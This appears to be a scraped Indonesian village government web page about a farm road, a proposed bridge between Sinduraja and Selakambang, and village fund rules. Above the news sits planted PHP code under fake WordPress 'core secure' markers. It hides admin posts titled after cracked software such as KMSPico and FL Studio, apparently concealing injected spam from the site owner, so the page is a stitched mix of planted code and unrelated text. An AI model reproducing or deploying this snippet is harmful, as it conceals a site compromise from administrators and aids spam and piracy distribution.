# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
“Awalnya warga Desa kami kalau mengangkut hasil kebun harus berjalan kaki sekitar kurang lebih 1kilo meter karena jalan di areal perkebunan ini hanya cukup dilalui oleh pejalan kaki, kendaraan tidak bisa masuk”, kata Kepala Desa Sinduraja, Suwitno.
Lalu Pemerintah Desa Sinduraja melalui APBDes 2018 merencanakan Pembukaan akses jalan pertanian baru Dukuh Rawapendok -Desa Selakambang Hal ini terlaksana tentunya berkat dukungan warga Sinduraja khususnya warga terdampak. Salah satu dukungan warga ini dibuktikan dengan menghibahkan sebagian lahan untuk pembukaan jalan pertanian tersebut.
Saat ini jalan pertanian Dukuh Rawapendok sudah bisa dilalui kendaraan sehingga memudahkan petani pada saat mengangkut hasil panennya. Namun masih ada kendala karena jembatan sungai langkap Rt. 01 Rw. 03 pada jalur jalan pertanian ini kondisinya kurang layak untuk dilalui kendaraan.
Pemerintah Desa Sinduraja mengupayakan pembangunan jembatan yang menghubungkan dua Desa ini melalui Daftar Usulan Rencana Kegiatan yang dibiayai dari APBD Tahun Anggaran 2019 saat Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan yang kala itu diselenggarakan di Kecamatan Kejobong.
“Kami sangat berharap usulan pembangunan jembatan Sungai Langkap yang menghubungkan Desa Sinduraja dengan Desa Selakambang ini bisa disetujui oleh Pemerintah Kabupaten Purbalingga, karena manfaatnya dirasakan oleh dua Desa”, ungkap Suwitno menutup pembicaraan di Selasa malam kemarin. (*)
]]>Diprioritaskan untuk membiayai pembangunan dan pemberdayaan masyarakat
Penyaluran Dana Desa dilakukan secara bertahap,
Penggunaan DD mengacu pada : Rencana Pembangunan Jangka Menengah (RPJM) Desa dan Rencana Kerja Pemerintah Desa (RKPD)
Kepala Desa, menyampaikan laporan realisasi penggunaan DD kepada Bupati / walikota setiap semester.
Sumber : Peraturan Pemerintah Republik Indonesia Nomor 60 Tahun 2014, tentang Dana Desa yang Bersumber Dari Anggaran Pendapatan dan Belanja Negara
]]>